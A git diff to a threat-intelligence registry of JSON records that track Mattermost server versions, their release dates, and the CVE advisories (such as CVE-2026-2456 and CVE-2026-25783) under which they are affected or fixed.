diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-10.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-10.json
index 95e97ee6..55e33138 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-10.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-10.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-x.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-x.json
index 7b8755ff..b997a0bb 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--10-11-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-2.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-2.json
index d855a15e..4566f5df 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-2.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-x.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-x.json
index ca8be0a6..91a7b331 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-2-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-1.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-1.json
index 90491118..194d6e6a 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-1.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-x.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-x.json
index d887d1f6..4462aa5e 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-3-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-0.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-0.json
index 7d38422c..6869b941 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-0.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-x.json b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-x.json
index f7909910..34c6d5b0 100644
--- a/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-x.json
+++ b/08-threat-intel/registry/versions/mattermost--project--mattermost-server--11-4-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-10.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-10.json
index 08b2c514..717e43da 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-10.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-10.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11-incompatible.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11-incompatible.json
index 1dc57513..b593e77d 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11-incompatible.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11-incompatible.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11.json
index d071bde6..3a1fa9f7 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-11.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-12.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-12.json
index 02982e82..e3e91352 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-12.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-12.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.12",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-x.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-x.json
index 640712ce..84fca068 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-x.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--10-11-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-2.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-2.json
index 9f4af0bf..f40bf7f2 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-2.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3-incompatible.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3-incompatible.json
index 3ff06dcf..cea2544e 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3-incompatible.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3-incompatible.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3.json
index d7874011..304fd9d1 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-3.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-4.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-4.json
index f36f3ea7..dd0c93ba 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-4.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-4.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-x.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-x.json
index f883d9fb..776c7bc3 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-x.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-2-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1-incompatible.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1-incompatible.json
index 92b48257..5ad35aa5 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1-incompatible.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1-incompatible.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1.json
index e52b96bc..25cf52c1 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-1.json
@@ -14,12 +14,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-2.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-2.json
index 66ed339a..8e8c3e09 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-2.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-2.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-x.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-x.json
index db14ad93..7363785c 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-x.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-3-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-0.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-0.json
index a17a3b97..60f39fbf 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-0.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-1.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-1.json
index 89234a12..e1586285 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-1.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-1.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-x.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-x.json
index eb4575a9..3ccdecf5 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-x.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-4-x.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-5-0.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-5-0.json
index a4d6e616..09b9211d 100644
--- a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-5-0.json
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--11-5-0.json
@@ -3,7 +3,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6.json
new file mode 100644
index 00000000..5fbff279
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "5.3.2-0.20260127165411-fe3052073dc6",
+ "released_at": "2026-03-26T21:11:03.241919Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef.json
new file mode 100644
index 00000000..9a2afdfc
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "5.3.2-0.20260129181235-1346cf529aef",
+ "released_at": "2026-03-26T21:11:24.090883Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6.json
new file mode 100644
index 00000000..7a880478
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "8.0.0-20260127165411-fe3052073dc6",
+ "released_at": "2026-03-26T21:11:03.241919Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef.json
new file mode 100644
index 00000000..0d2a7ea3
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "8.0.0-20260129181235-1346cf529aef",
+ "released_at": "2026-03-26T21:11:24.090883Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6.json
new file mode 100644
index 00000000..c47fd186
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6",
+ "released_at": "2026-03-16T15:30:43Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef.json
new file mode 100644
index 00000000..a1b13e21
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef",
+ "released_at": "2026-03-16T15:30:42Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6.json
new file mode 100644
index 00000000..199e9fb7
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6",
+ "released_at": "2026-03-16T15:30:43Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef.json
new file mode 100644
index 00000000..2a91f070
--- /dev/null
+++ b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef.json
@@ -0,0 +1,16 @@
+{
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef",
+ "released_at": "2026-03-16T15:30:42Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+}
diff --git a/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0.json b/08-threat-intel/registry/versions/mattermost--repo--github-com-mattermost-mattermost-server--introduced-0.json
index 97e9b527..0abc5490 100644
